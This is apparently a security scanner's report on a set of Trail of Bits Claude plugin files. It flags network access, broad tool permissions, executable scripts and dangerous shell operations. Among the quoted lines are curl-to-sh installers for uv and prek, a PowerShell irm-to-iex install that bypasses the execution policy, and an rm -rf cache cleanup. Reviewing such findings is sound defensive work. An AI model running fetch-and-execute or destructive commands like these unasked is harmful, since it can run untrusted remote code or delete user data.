plugins/let-fate-decide/.claude-plugin/plugin.json

  • Network accessline 5
    "author": {     "name": "Scott Arciszewski",     "url": "https://github.com/tob-scott-a"
  • Network accessline 6
    "name": "Scott Arciszewski",     "url": "https://github.com/tob-scott-a"   }
  • Network accessline 7
    "url": "https://github.com/tob-scott-a"

plugins/let-fate-decide/skills/let-fate-decide/SKILL.md

  • Broad permissionsline 1
    Bash Read Grep Glob

plugins/let-fate-decide/skills/let-fate-decide/assets/trail-of-bits-mark.svg

  • Network accessline 1
    <svg xmlns="http://www.w3.org/2000/svg" width="94" height="56" fill="none" viewBox="0 0 94 56"><path fill="#F0F4F7" d="m34.04 54.662-7.61-4.147L24.593 56l9.433-1.335c-.029 0-.043 0 .014-.003"/><path fill="#F0F4F7" d="m34.039 54.662-.014.003

plugins/let-fate-decide/skills/let-fate-decide/scripts/draw_cards.py

  • Executable scriptline 1
    #!/usr/bin/env python3

plugins/let-fate-decide/skills/let-fate-decide/scripts/test_draw_cards.py

  • Executable scriptline 1
    #!/usr/bin/env python3

plugins/modern-cpp/.claude-plugin/plugin.json

  • Network accessline 6
    "name": "Julius Alexandre",     "email": "opensource@trailofbits.com",     "url": "https://github.com/trailofbits"
  • Network accessline 7
    "email": "opensource@trailofbits.com",     "url": "https://github.com/trailofbits"   }
  • Network accessline 8
    "url": "https://github.com/trailofbits"

plugins/modern-cpp/skills/modern-cpp/references/compiler-hardening.md

  • Network accessline 3
    Security-focused compiler and linker configuration for C++ projects. Based on the [OpenSSF Compiler Options Hardening Guide](https://best.openssf.org/Compiler-Hardening-Guides/Compiler-Options-Hardening-Guide-for-C-and-C++.html) and Trail o
  • Network accessline 42
    Trail of Bits found [20+ projects on GitHub](https://blog.trailofbits.com/2023/04/20/typos-that-omit-security-features-and-how-to-test-for-them/) where `_FORTIFY_SOURCE` was misspelled (e.g., `-FORTIFY_SOURCE=2` instead of `-D_FORTIFY_SOURC
  • Network accessline 174
    - Enabled by default in Chrome, Android, Apple platforms - Catches use-after-free and buffer overflow in production - See [Trail of Bits guide to GWP-ASan](https://blog.trailofbits.com/2025/12/16/use-gwp-asan-to-detect-exploits-in-productio
  • Network accessline 176
    - See [Trail of Bits guide to GWP-ASan](https://blog.trailofbits.com/2025/12/16/use-gwp-asan-to-detect-exploits-in-production-environments/)
  • Network accessline 205
    For quick verification during development, compile on [Compiler Explorer](https://godbolt.org/) and inspect the generated assembly for canary checks and fortified function calls.
  • Network accessline 237
    - [OpenSSF Compiler Options Hardening Guide](https://best.openssf.org/Compiler-Hardening-Guides/Compiler-Options-Hardening-Guide-for-C-and-C++.html)
  • Network accessline 238
    - [libc++ Hardening Modes](https://libcxx.llvm.org/Hardening.html)
  • Network accessline 239
    - [Trail of Bits: Typos That Omit Security Features](https://blog.trailofbits.com/2023/04/20/typos-that-omit-security-features-and-how-to-test-for-them/)
  • Network accessline 240
    - [Trail of Bits: Use GWP-ASan in Production](https://blog.trailofbits.com/2025/12/16/use-gwp-asan-to-detect-exploits-in-production-environments/)
  • Network accessline 241
    - [Google: Retrofitting Spatial Safety](https://security.googleblog.com/2024/11/retrofitting-spatial-safety-to-hundreds.html)

plugins/modern-cpp/skills/modern-cpp/references/cpp26-features.md

  • Network accessline 82
    - **GCC 16** (April 2026): Reflection merged in trunk - **Clang**: Bloomberg experimental fork ([github.com/bloomberg/clang-p2996](https://github.com/bloomberg/clang-p2996)), mainline catching up
  • Network accessline 83
    - **Clang**: Bloomberg experimental fork ([github.com/bloomberg/clang-p2996](https://github.com/bloomberg/clang-p2996)), mainline catching up

plugins/modern-cpp/skills/modern-cpp/references/safe-idioms.md

  • Network accessline 299
    Know which operations invalidate iterators on which containers. When in doubt, use indices or rebuild the container. Trail of Bits' [Itergator](https://github.com/trailofbits/itergator) tool detects iterator invalidation bugs via CodeQL.

plugins/modern-python/.claude-plugin/plugin.json

  • Network accessline 6
    "name": "William Tan",     "email": "opensource@trailofbits.com",     "url": "https://github.com/trailofbits"
  • Network accessline 7
    "email": "opensource@trailofbits.com",     "url": "https://github.com/trailofbits"   }
  • Network accessline 8
    "url": "https://github.com/trailofbits"

plugins/modern-python/skills/modern-python/SKILL.md

  • Network accessline 8
    Guide for modern Python tooling and best practices, based on [trailofbits/cookiecutter-python](https://github.com/trailofbits/cookiecutter-python).
  • Network accessline 282
    # Run Python with a temporary package uv run --with requests python -c "import requests; print(requests.get('https://httpbin.org/ip').json())"
  • Network accessline 283
    uv run --with requests python -c "import requests; print(requests.get('https://httpbin.org/ip').json())"

plugins/modern-python/skills/modern-python/assets/trail-of-bits-mark.svg

  • Network accessline 1
    <svg xmlns="http://www.w3.org/2000/svg" width="94" height="56" fill="none" viewBox="0 0 94 56"><path fill="#F0F4F7" d="m34.04 54.662-7.61-4.147L24.593 56l9.433-1.335c-.029 0-.043 0 .014-.003"/><path fill="#F0F4F7" d="m34.039 54.662-.014.003

plugins/modern-python/skills/modern-python/references/dependabot.md

  • Network accessline 3
    [Dependabot](https://docs.github.com/en/code-security/dependabot) automatically creates pull requests to keep your dependencies up to date. GitHub hosts it natively—no external service required.
  • Network accessline 41
    - [GitHub Dependabot docs](https://docs.github.com/en/code-security/dependabot/dependabot-version-updates/configuration-options-for-the-dependabot.yml-file)

plugins/modern-python/skills/modern-python/references/pep723-scripts.md

  • Network accessline 35
    response = requests.get("https://api.example.com/data")
  • Network accessline 76
    # # [tool.uv] # extra-index-url = ["https://pypi.company.com/simple/"]
  • Network accessline 77
    # [tool.uv] # extra-index-url = ["https://pypi.company.com/simple/"] # ///
  • Network accessline 78
    # extra-index-url = ["https://pypi.company.com/simple/"]
  • Network accessline 106
    @app.command() def fetch(url: str, format: str = "table"):
  • Network accessline 107
    def fetch(url: str, format: str = "table"):
  • Network accessline 108
    """Fetch data from URL and display it."""     with httpx.Client() as client:         response = client.get(url)
  • Network accessline 109
    with httpx.Client() as client:
  • Network accessline 193
    response = httpx.get("https://example.com")
  • Network accessline 232
    async def main():     async with httpx.AsyncClient() as client:
  • Network accessline 233
    async with httpx.AsyncClient() as client:
  • Network accessline 234
    urls = ["https://api1.example.com", "https://api2.example.com"]

plugins/modern-python/skills/modern-python/references/prek.md

  • Network accessline 3
    [prek](https://github.com/j178/prek) is a fast, Rust-native drop-in replacement for pre-commit. It uses the same `.pre-commit-config.yaml` format and is fully compatible with existing configurations.
  • Network accessline 16
    **Already using prek:** CPython, Apache Airflow, FastAPI, Ruff, Home Assistant, and [many more](https://github.com/j178/prek#who-is-using-prek).
  • Network accessline 44
    repos:   - repo: https://github.com/astral-sh/ruff-pre-commit
  • Network accessline 45
    - repo: https://github.com/astral-sh/ruff-pre-commit
  • Network accessline 46
    rev: <latest>  # https://github.com/astral-sh/ruff-pre-commit/releases
  • Network accessline 75
    # See https://pre-commit.com for more information
  • Network accessline 79
    repos:   # Ruff - linting and formatting   - repo: https://github.com/astral-sh/ruff-pre-commit
  • Network accessline 80
    # Ruff - linting and formatting   - repo: https://github.com/astral-sh/ruff-pre-commit     rev: <latest>  # https://github.com/astral-sh/ruff-pre-commit/releases
  • Network accessline 81
    - repo: https://github.com/astral-sh/ruff-pre-commit
  • Network accessline 82
    rev: <latest>  # https://github.com/astral-sh/ruff-pre-commit/releases
  • Network accessline 96
    # Security hooks - see security-setup.md for detailed guidance   # Shell script linting   - repo: https://github.com/koalaman/shellcheck-precommit
  • Network accessline 97
    # Shell script linting   - repo: https://github.com/koalaman/shellcheck-precommit     rev: <latest>  # https://github.com/koalaman/shellcheck-precommit/tags
  • Network accessline 98
    - repo: https://github.com/koalaman/shellcheck-precommit
  • Network accessline 99
    rev: <latest>  # https://github.com/koalaman/shellcheck-precommit/tags
  • Network accessline 104
    # Secret detection   - repo: https://github.com/Yelp/detect-secrets
  • Network accessline 105
    - repo: https://github.com/Yelp/detect-secrets
  • Network accessline 106
    rev: <latest>  # https://github.com/Yelp/detect-secrets/releases
  • Network accessline 111
    # GitHub Actions linting   - repo: https://github.com/rhysd/actionlint
  • Network accessline 112
    - repo: https://github.com/rhysd/actionlint
  • Network accessline 113
    rev: <latest>  # https://github.com/rhysd/actionlint/releases
  • Network accessline 117
    # GitHub Actions security audit   - repo: https://github.com/zizmorcore/zizmor-pre-commit
  • Network accessline 118
    - repo: https://github.com/zizmorcore/zizmor-pre-commit
  • Network accessline 119
    rev: <latest>  # https://github.com/zizmorcore/zizmor-pre-commit/releases
  • Network accessline 167
    runs-on: ubuntu-latest     steps:       - uses: actions/checkout@<sha>  # <latest> https://github.com/actions/checkout/releases
  • Network accessline 168
    steps:       - uses: actions/checkout@<sha>  # <latest> https://github.com/actions/checkout/releases       - uses: j178/prek-action@<sha>  # <latest> https://github.com/j178/prek-action/releases
  • Network accessline 169
    - uses: actions/checkout@<sha>  # <latest> https://github.com/actions/checkout/releases
  • Network accessline 170
    - uses: j178/prek-action@<sha>  # <latest> https://github.com/j178/prek-action/releases
  • Dangerous shell operationline 200
    4. (Optional) Clean old environments: `rm -rf ~/.cache/pre-commit`

plugins/modern-python/skills/modern-python/references/pyproject.md

  • Network accessline 39
    [project.urls] Homepage = "https://github.com/org/myproject"
  • Network accessline 40
    Homepage = "https://github.com/org/myproject"
  • Network accessline 41
    Documentation = "https://myproject.readthedocs.io"
  • Network accessline 42
    Repository = "https://github.com/org/myproject"
  • Network accessline 44
    [build-system] requires = ["uv_build>=0.9,<1"]  # Use latest 0.x; check https://pypi.org/project/uv-build/
  • Network accessline 45
    requires = ["uv_build>=0.9,<1"]  # Use latest 0.x; check https://pypi.org/project/uv-build/
  • Network accessline 146
    [build-system] requires = ["uv_build>=0.9,<1"]  # Use latest 0.x; check https://pypi.org/project/uv-build/
  • Network accessline 147
    requires = ["uv_build>=0.9,<1"]  # Use latest 0.x; check https://pypi.org/project/uv-build/

plugins/modern-python/skills/modern-python/references/security-setup.md

  • Network accessline 18
    # Standalone installer curl --proto '=https' --tlsv1.2 -LsSf https://github.com/j178/prek/releases/latest/download/prek-installer.sh | sh
  • Dangerous shell operationline 19
    curl --proto '=https' --tlsv1.2 -LsSf https://github.com/j178/prek/releases/latest/download/prek-installer.sh | sh
  • Network accessline 19
    curl --proto '=https' --tlsv1.2 -LsSf https://github.com/j178/prek/releases/latest/download/prek-installer.sh | sh
  • Network accessline 77
    # In .pre-commit-config.yaml - repo: https://github.com/koalaman/shellcheck-precommit
  • Network accessline 78
    - repo: https://github.com/koalaman/shellcheck-precommit
  • Network accessline 79
    rev: <latest>  # https://github.com/koalaman/shellcheck-precommit/tags
  • Network accessline 95
    - repo: https://github.com/Yelp/detect-secrets
  • Network accessline 96
    rev: <latest>  # https://github.com/Yelp/detect-secrets/releases
  • Network accessline 134
    - repo: https://github.com/rhysd/actionlint
  • Network accessline 135
    rev: <latest>  # https://github.com/rhysd/actionlint/releases
  • Network accessline 157
    - repo: https://github.com/zizmorcore/zizmor-pre-commit
  • Network accessline 158
    rev: <latest>  # https://github.com/zizmorcore/zizmor-pre-commit/releases

plugins/modern-python/skills/modern-python/references/testing.md

  • Network accessline 250
    # GitHub Actions - name: Checkout   uses: actions/checkout@<sha>  # <latest> https://github.com/actions/checkout/releases
  • Network accessline 252
    uses: actions/checkout@<sha>  # <latest> https://github.com/actions/checkout/releases
  • Network accessline 264
    - name: Upload coverage   uses: codecov/codecov-action@<sha>  # <latest> https://github.com/codecov/codecov-action/releases
  • Network accessline 265
    uses: codecov/codecov-action@<sha>  # <latest> https://github.com/codecov/codecov-action/releases

plugins/modern-python/skills/modern-python/references/uv-commands.md

  • Network accessline 10
    # macOS/Linux curl -LsSf https://astral.sh/uv/install.sh | sh
  • Dangerous shell operationline 11
    curl -LsSf https://astral.sh/uv/install.sh | sh
  • Network accessline 11
    curl -LsSf https://astral.sh/uv/install.sh | sh
  • Network accessline 13
    # Windows powershell -ExecutionPolicy ByPass -c "irm https://astral.sh/uv/install.ps1 | iex"
  • Network accessline 14
    powershell -ExecutionPolicy ByPass -c "irm https://astral.sh/uv/install.ps1 | iex"

plugins/modern-python/skills/modern-python/templates/pre-commit-config.yaml

  • Network accessline 19
    # Ruff - linting and formatting (replaces black, isort, flake8, pylint)   - repo: https://github.com/astral-sh/ruff-pre-commit
  • Network accessline 20
    - repo: https://github.com/astral-sh/ruff-pre-commit
  • Network accessline 21
    rev: <latest>  # https://github.com/astral-sh/ruff-pre-commit/releases
  • Network accessline 40
    # Shell script linting - catches unquoted vars, undefined vars, deprecated syntax   - repo: https://github.com/koalaman/shellcheck-precommit
  • Network accessline 41
    - repo: https://github.com/koalaman/shellcheck-precommit
  • Network accessline 42
    rev: <latest>  # https://github.com/koalaman/shellcheck-precommit/tags
  • Network accessline 47
    # Secret detection - prevents committing API keys, passwords, tokens   # Run `detect-secrets scan > .secrets.baseline` before first commit   - repo: https://github.com/Yelp/detect-secrets
  • Network accessline 48
    # Run `detect-secrets scan > .secrets.baseline` before first commit   - repo: https://github.com/Yelp/detect-secrets     rev: <latest>  # https://github.com/Yelp/detect-secrets/releases
  • Network accessline 49
    - repo: https://github.com/Yelp/detect-secrets
  • Network accessline 50
    rev: <latest>  # https://github.com/Yelp/detect-secrets/releases
  • Network accessline 55
    # GitHub Actions linting - catches syntax errors, invalid refs   - repo: https://github.com/rhysd/actionlint
  • Network accessline 56
    - repo: https://github.com/rhysd/actionlint
  • Network accessline 57
    rev: <latest>  # https://github.com/rhysd/actionlint/releases
  • Network accessline 61
    # GitHub Actions security audit - excessive permissions, injection risks   - repo: https://github.com/zizmorcore/zizmor-pre-commit
  • Network accessline 62
    - repo: https://github.com/zizmorcore/zizmor-pre-commit
  • Network accessline 63
    rev: <latest>  # https://github.com/zizmorcore/zizmor-pre-commit/releases

plugins/mutation-testing/.claude-plugin/plugin.json

  • Network accessline 6
    "name": "Trail of Bits",     "email": "opensource@trailofbits.com",     "url": "https://github.com/trailofbits"
  • Network accessline 7
    "email": "opensource@trailofbits.com",     "url": "https://github.com/trailofbits"   }
  • Network accessline 8
    "url": "https://github.com/trailofbits"

plugins/mutation-testing/skills/mutation-testing/SKILL.md

  • Broad permissionsline 1
    Read Write Bash Grep

plugins/mutation-testing/skills/mutation-testing/assets/trail-of-bits-mark.svg

  • Network accessline 1
    <svg xmlns="http://www.w3.org/2000/svg" width="94" height="56" fill="none" viewBox="0 0 94 56"><path fill="#F0F4F7" d="m34.04 54.662-7.61-4.147L24.593 56l9.433-1.335c-.029 0-.043 0 .014-.003"/><path fill="#F0F4F7" d="m34.039 54.662-.014.003

plugins/open-sourcing/.claude-plugin/plugin.json

  • Network accessline 6
    "name": "Evan Sultanik",     "email": "opensource@trailofbits.com",     "url": "https://github.com/trailofbits"
  • Network accessline 7
    "email": "opensource@trailofbits.com",     "url": "https://github.com/trailofbits"   }
  • Network accessline 8
    "url": "https://github.com/trailofbits"

plugins/open-sourcing/skills/open-sourcing/SKILL.md

  • Network accessline 154
    - **Labels**: create them as soon as more than one issue or PR needs one;   prefixes for facets scale well (`C:` component, `P:` platform). See   [blight's labels](https://github.com/trailofbits/blight/labels) for a
  • Network accessline 155
    prefixes for facets scale well (`C:` component, `P:` platform). See   [blight's labels](https://github.com/trailofbits/blight/labels) for a   worked example.
  • Network accessline 156
    [blight's labels](https://github.com/trailofbits/blight/labels) for a
  • Network accessline 161
    - Tag every release `vX.Y.Z`, following [semver](https://semver.org/); use

plugins/open-sourcing/skills/open-sourcing/references/c-cpp.md

  • Network accessline 5
    Use modern CMake. For new projects, [cmake-init](https://github.com/friendlyanon/cmake-init) generates a
  • Network accessline 6
    [cmake-init](https://github.com/friendlyanon/cmake-init) generates a
  • Network accessline 26
    - **Unit tests:** [GoogleTest](https://github.com/google/googletest), run
  • Network accessline 31
    - **Valgrind** remains useful for leak detection where sanitizers cannot run. - **Fuzzing:** for code that parses untrusted input, add libFuzzer or AFL++   harnesses, and consider [OSS-Fuzz](https://github.com/google/oss-fuzz)
  • Network accessline 32
    - **Fuzzing:** for code that parses untrusted input, add libFuzzer or AFL++   harnesses, and consider [OSS-Fuzz](https://github.com/google/oss-fuzz)   enrollment once public.
  • Network accessline 33
    harnesses, and consider [OSS-Fuzz](https://github.com/google/oss-fuzz)
  • Network accessline 41
    CI. Defaults are fine; a repository may commit its own `.clang-format` and `.clang-tidy` configurations. Examples: [pe-parse](https://github.com/trailofbits/pe-parse/blob/master/.clang-format),
  • Network accessline 42
    `.clang-tidy` configurations. Examples: [pe-parse](https://github.com/trailofbits/pe-parse/blob/master/.clang-format), [winchecksec](https://github.com/trailofbits/winchecksec/blob/master/.clang-format).
  • Network accessline 43
    [pe-parse](https://github.com/trailofbits/pe-parse/blob/master/.clang-format),
  • Network accessline 44
    [winchecksec](https://github.com/trailofbits/winchecksec/blob/master/.clang-format).
  • Network accessline 48
    [Doxygen](https://www.doxygen.nl/) for API documentation, published to GitHub
  • Network accessline 56
    consider a container image. Keep images small: multi-stage builds with a   minimal base (alpine, distroless). - See [pe-parse's release workflow](https://github.com/trailofbits/pe-parse/blob/master/.github/workflows/release.yml)
  • Network accessline 57
    minimal base (alpine, distroless). - See [pe-parse's release workflow](https://github.com/trailofbits/pe-parse/blob/master/.github/workflows/release.yml)   for an example of CI-managed release packaging.
  • Network accessline 58
    - See [pe-parse's release workflow](https://github.com/trailofbits/pe-parse/blob/master/.github/workflows/release.yml)

plugins/open-sourcing/skills/open-sourcing/references/go.md

  • Network accessline 17
    it liberally; exporting a package is an API commitment. - Do not create a `pkg/` directory reflexively; the   [official module layout guidance](https://go.dev/doc/modules/layout)
  • Network accessline 18
    - Do not create a `pkg/` directory reflexively; the   [official module layout guidance](https://go.dev/doc/modules/layout)   recommends putting importable packages at the repository root unless there
  • Network accessline 19
    [official module layout guidance](https://go.dev/doc/modules/layout)
  • Network accessline 22
    - Keep packages focused on a single responsibility, handle every error, and   reserve `panic` for unrecoverable states. Follow   [Effective Go](https://go.dev/doc/effective_go) and the
  • Network accessline 23
    reserve `panic` for unrecoverable states. Follow   [Effective Go](https://go.dev/doc/effective_go) and the   [Go style guide](https://google.github.io/styleguide/go/).
  • Network accessline 24
    [Effective Go](https://go.dev/doc/effective_go) and the
  • Network accessline 25
    [Go style guide](https://google.github.io/styleguide/go/).
  • Network accessline 30
    insurance for any code with goroutines. - `gofmt` (or `go fmt`) before committing; enforce in CI. - [golangci-lint](https://golangci-lint.run/) with a committed configuration.
  • Network accessline 31
    - `gofmt` (or `go fmt`) before committing; enforce in CI. - [golangci-lint](https://golangci-lint.run/) with a committed configuration. - [govulncheck](https://go.dev/blog/vuln) in CI to flag known-vulnerable
  • Network accessline 32
    - [golangci-lint](https://golangci-lint.run/) with a committed configuration.
  • Network accessline 33
    - [govulncheck](https://go.dev/blog/vuln) in CI to flag known-vulnerable
  • Network accessline 38
    Write doc comments for every exported identifier — complete sentences beginning with the identifier name. [pkg.go.dev](https://pkg.go.dev/) renders
  • Network accessline 39
    beginning with the identifier name. [pkg.go.dev](https://pkg.go.dev/) renders
  • Network accessline 44
    - There is no central upload step: pushing a semver tag (`vX.Y.Z`) to the   public repository *is* publishing. The module proxy and pkg.go.dev pick it   up automatically. See [developing modules](https://go.dev/doc/modules/developing).
  • Network accessline 45
    public repository *is* publishing. The module proxy and pkg.go.dev pick it   up automatically. See [developing modules](https://go.dev/doc/modules/developing). - Because tags are immutable once fetched through the module proxy, never
  • Network accessline 46
    up automatically. See [developing modules](https://go.dev/doc/modules/developing).
  • Network accessline 47
    - Because tags are immutable once fetched through the module proxy, never   retag; publish a new patch version instead. - For binaries, use [goreleaser](https://goreleaser.com/) to build
  • Network accessline 48
    retag; publish a new patch version instead. - For binaries, use [goreleaser](https://goreleaser.com/) to build   multi-platform artifacts, generate release notes from commits, and attach
  • Network accessline 49
    - For binaries, use [goreleaser](https://goreleaser.com/) to build
  • Network accessline 50
    multi-platform artifacts, generate release notes from commits, and attach   everything to the GitHub Release on each tag. Consider GitHub   [artifact attestations](https://docs.github.com/en/actions/security-for-github-actions/using-artifac
  • Network accessline 51
    everything to the GitHub Release on each tag. Consider GitHub   [artifact attestations](https://docs.github.com/en/actions/security-for-github-actions/using-artifact-attestations)   for provenance on released binaries.
  • Network accessline 52
    [artifact attestations](https://docs.github.com/en/actions/security-for-github-actions/using-artifact-attestations)

plugins/open-sourcing/skills/open-sourcing/references/javascript.md

  • Network accessline 26
    [TypeDoc](https://typedoc.org/) generates API documentation from TypeScript
  • Network accessline 31
    - Use npm [trusted publishing](https://docs.npmjs.com/trusted-publishers/)

plugins/open-sourcing/skills/open-sourcing/references/licensing.md

  • Network accessline 29
    | License | Type | Choose when | |---------|------|-------------| | [Apache 2.0](https://www.apache.org/licenses/LICENSE-2.0) | Permissive | Default for libraries and tools; includes an explicit patent grant, which MIT lacks |
  • Network accessline 30
    |---------|------|-------------| | [Apache 2.0](https://www.apache.org/licenses/LICENSE-2.0) | Permissive | Default for libraries and tools; includes an explicit patent grant, which MIT lacks | | [MIT](https://opensource.org/license/mit) | 
  • Network accessline 31
    | [Apache 2.0](https://www.apache.org/licenses/LICENSE-2.0) | Permissive | Default for libraries and tools; includes an explicit patent grant, which MIT lacks |
  • Network accessline 32
    | [MIT](https://opensource.org/license/mit) | Permissive | Maximum simplicity; ecosystem convention (e.g., much of npm) |
  • Network accessline 33
    | [AGPLv3](https://www.gnu.org/licenses/agpl-3.0.en.html) | Network copyleft | The project offers competitors a significant advantage if modified privately, including as a hosted service |
  • Network accessline 34
    | [GPLv3](https://www.gnu.org/licenses/gpl-3.0.en.html) | Copyleft | Copyleft desired but the network-use clause is not needed | | [CC BY-SA 4.0](https://creativecommons.org/licenses/by-sa/4.0/) | Share-alike (non-software) | Publications a
  • Network accessline 35
    | [CC BY-SA 4.0](https://creativecommons.org/licenses/by-sa/4.0/) | Share-alike (non-software) | Publications and documentation; allows commercial use with attribution |
  • Network accessline 36
    | [CC BY-NC-SA 4.0](https://creativecommons.org/licenses/by-nc-sa/4.0/) | Non-commercial (non-software) | Rulesets or datasets where commercial use should require a separate agreement |
  • Network accessline 39
    non-competes) unless legal counsel is driving that decision; they create adoption friction and are not open source under the [OSD](https://opensource.org/osd).
  • Network accessline 41
    [OSD](https://opensource.org/osd).

plugins/open-sourcing/skills/open-sourcing/references/python.md

  • Network accessline 29
    - **API docs:** [pdoc](https://github.com/mitmproxy/pdoc) — note *pdoc*, not
  • Network accessline 30
    *pdoc3*, which is a hostile fork. - **Full documentation sites:** [Sphinx](https://www.sphinx-doc.org/) with the   [furo](https://github.com/pradyunsg/furo) theme, or
  • Network accessline 31
    - **Full documentation sites:** [Sphinx](https://www.sphinx-doc.org/) with the
  • Network accessline 32
    [furo](https://github.com/pradyunsg/furo) theme, or
  • Network accessline 33
    [MkDocs with Material](https://squidfunk.github.io/mkdocs-material/).
  • Network accessline 34
    - Deploy to GitHub Pages from CI   ([actions/deploy-pages](https://github.com/actions/deploy-pages) or   [actions-gh-pages](https://github.com/peaceiris/actions-gh-pages)) and link
  • Network accessline 35
    ([actions/deploy-pages](https://github.com/actions/deploy-pages) or
  • Network accessline 36
    [actions-gh-pages](https://github.com/peaceiris/actions-gh-pages)) and link
  • Network accessline 47
    Use [trusted publishing](https://docs.pypi.org/trusted-publishers/) — an OIDC
  • Network accessline 121
    `attestations: true` generates [PEP 740](https://peps.python.org/pep-0740/)
  • Network accessline 122
    publish attestations — the default since gh-action-pypi-publish v1.11, kept explicit here for clarity — and the provenance job attaches [SLSA build provenance](https://docs.github.com/en/actions/security-for-github-actions/using-artifact-at
  • Network accessline 123
    explicit here for clarity — and the provenance job attaches [SLSA build provenance](https://docs.github.com/en/actions/security-for-github-actions/using-artifact-attestations) to the built distributions.
  • Network accessline 124
    [SLSA build provenance](https://docs.github.com/en/actions/security-for-github-actions/using-artifact-attestations)
  • Network accessline 129
    - Property-based tests with   [Hypothesis](https://hypothesis.readthedocs.io/) for parsing- or
  • Network accessline 130
    [Hypothesis](https://hypothesis.readthedocs.io/) for parsing- or
  • Network accessline 132
    marketplace). - Docstring coverage enforcement with   [interrogate](https://interrogate.readthedocs.io/) or ruff's `D` rules so
  • Network accessline 133
    - Docstring coverage enforcement with   [interrogate](https://interrogate.readthedocs.io/) or ruff's `D` rules so   public APIs stay documented as the project grows.
  • Network accessline 134
    [interrogate](https://interrogate.readthedocs.io/) or ruff's `D` rules so
  • Network accessline 135
    public APIs stay documented as the project grows. - Dependency auditing in CI with `uv audit` (currently in preview) or   [pip-audit](https://github.com/pypa/pip-audit).
  • Network accessline 137
    [pip-audit](https://github.com/pypa/pip-audit).

plugins/open-sourcing/skills/open-sourcing/references/ruby.md

  • Network accessline 11
    Use [Bundler](https://bundler.io/). Configure it to install into a vendor
  • Network accessline 22
    Use [RuboCop](https://github.com/rubocop/rubocop). The default cops are
  • Network accessline 28
    - Publish to [RubyGems.org](https://rubygems.org/).
  • Network accessline 29
    - Use RubyGems [trusted publishing](https://guides.rubygems.org/trusted-publishing/)

plugins/open-sourcing/skills/open-sourcing/references/rust.md

  • Network accessline 34
    - [`cargo audit`](https://github.com/rustsec/rustsec) in CI flags
  • Network accessline 35
    dependencies with known advisories. - [`cargo deny`](https://github.com/EmbarkStudios/cargo-deny) additionally   enforces license and source policies on the dependency tree — useful for
  • Network accessline 36
    - [`cargo deny`](https://github.com/EmbarkStudios/cargo-deny) additionally
  • Network accessline 43
    - Use crates.io [trusted publishing](https://crates.io/docs/trusted-publishing)
  • Network accessline 44
    (OIDC from GitHub Actions) instead of long-lived API tokens. - [`cargo release`](https://github.com/crate-ci/cargo-release) manages   version bumps, tagging, and pushing. A common configuration in
  • Network accessline 45
    - [`cargo release`](https://github.com/crate-ci/cargo-release) manages
  • Network accessline 61
    For tools with end-user binaries, use [cargo-dist](https://github.com/axodotdev/cargo-dist) or
  • Network accessline 62
    [cargo-dist](https://github.com/axodotdev/cargo-dist) or
  • Network accessline 63
    [goreleaser](https://goreleaser.com/) to build multi-platform release

plugins/open-sourcing/skills/open-sourcing/references/trailofbits.md

  • Network accessline 11
    - **Default to [Apache 2.0](https://www.apache.org/licenses/LICENSE-2.0)**
  • Network accessline 12
    for nearly all projects. - **Use [AGPLv3](https://www.gnu.org/licenses/agpl-3.0.en.html)** when the   project would offer a significant advantage to competitors who modify it
  • Network accessline 13
    - **Use [AGPLv3](https://www.gnu.org/licenses/agpl-3.0.en.html)** when the
  • Network accessline 15
    without contributing changes back. - **Use Creative Commons for non-code work:**   - [CC BY-NC-SA 4.0](https://creativecommons.org/licenses/by-nc-sa/4.0/)
  • Network accessline 16
    - **Use Creative Commons for non-code work:**   - [CC BY-NC-SA 4.0](https://creativecommons.org/licenses/by-nc-sa/4.0/)     for rulesets (e.g., [semgrep-rules](https://github.com/trailofbits/semgrep-rules))
  • Network accessline 17
    - [CC BY-NC-SA 4.0](https://creativecommons.org/licenses/by-nc-sa/4.0/)
  • Network accessline 18
    for rulesets (e.g., [semgrep-rules](https://github.com/trailofbits/semgrep-rules))
  • Network accessline 19
    - [CC BY-SA 4.0](https://creativecommons.org/licenses/by-sa/4.0/) for
  • Network accessline 20
    publications and informational material (e.g.,     [publications](https://github.com/trailofbits/publications)) - When in doubt, confirm with the project manager or an existing open-source
  • Network accessline 21
    [publications](https://github.com/trailofbits/publications))
  • Network accessline 37
    Official projects live in the [trailofbits](https://github.com/trailofbits)
  • Network accessline 38
    GitHub organization. Related ecosystems use [lifting-bits](https://github.com/lifting-bits) (binary lifting) and [crytic](https://github.com/crytic) (smart contract tooling). Move personal
  • Network accessline 39
    [lifting-bits](https://github.com/lifting-bits) (binary lifting) and
  • Network accessline 40
    [crytic](https://github.com/crytic) (smart contract tooling). Move personal
  • Network accessline 48
    - **PyPI:** add the [trailofbits organization](https://pypi.org/org/trailofbits/)
  • Network accessline 49
    as an owner of the package. - **RubyGems:** add the [trailofbits account](https://rubygems.org/profiles/trailofbits)   as a gem co-owner.
  • Network accessline 50
    - **RubyGems:** add the [trailofbits account](https://rubygems.org/profiles/trailofbits)
  • Network accessline 60
    - **Python:** generate new projects with   [cookiecutter-python](https://github.com/trailofbits/cookiecutter-python),
  • Network accessline 61
    [cookiecutter-python](https://github.com/trailofbits/cookiecutter-python),
  • Network accessline 66
    marketplace covers the same toolchain. - Example repositories for release automation:   [pe-parse](https://github.com/trailofbits/pe-parse/blob/master/.github/workflows/release.yml)
  • Network accessline 67
    - Example repositories for release automation:   [pe-parse](https://github.com/trailofbits/pe-parse/blob/master/.github/workflows/release.yml)   (C++/CI-managed packaging) and
  • Network accessline 68
    [pe-parse](https://github.com/trailofbits/pe-parse/blob/master/.github/workflows/release.yml)
  • Network accessline 69
    (C++/CI-managed packaging) and   [pip-audit](https://github.com/pypa/pip-audit/blob/main/.github/workflows/release.yml)   (Python/trusted publishing).
  • Network accessline 70
    [pip-audit](https://github.com/pypa/pip-audit/blob/main/.github/workflows/release.yml)

plugins/open-sourcing/skills/open-sourcing/scripts/check_readiness.sh

  • Executable scriptline 1
    #!/usr/bin/env bash

plugins/open-sourcing/skills/open-sourcing/scripts/detect_org.sh

  • Executable scriptline 1
    #!/usr/bin/env bash

plugins/patching-bugs/.claude-plugin/plugin.json

  • Network accessline 5
    "author": {     "name": "Trail of Bits",     "url": "https://github.com/trailofbits"
  • Network accessline 6
    "name": "Trail of Bits",     "url": "https://github.com/trailofbits"   }
  • Network accessline 7
    "url": "https://github.com/trailofbits"

plugins/patching-bugs/scripts/arms.py

  • Executable scriptline 1
    Executable file

plugins/patching-bugs/scripts/native_proof.py

  • Executable scriptline 1
    Executable file

plugins/patching-bugs/scripts/records.py

  • Executable scriptline 1
    Executable file
  • Executable scriptline 1
    Executable file
  • Executable scriptline 1
    Executable file
  • Executable scriptline 1
    Executable file
  • Executable scriptline 1
    Executable file

plugins/patching-bugs/scripts/render.py

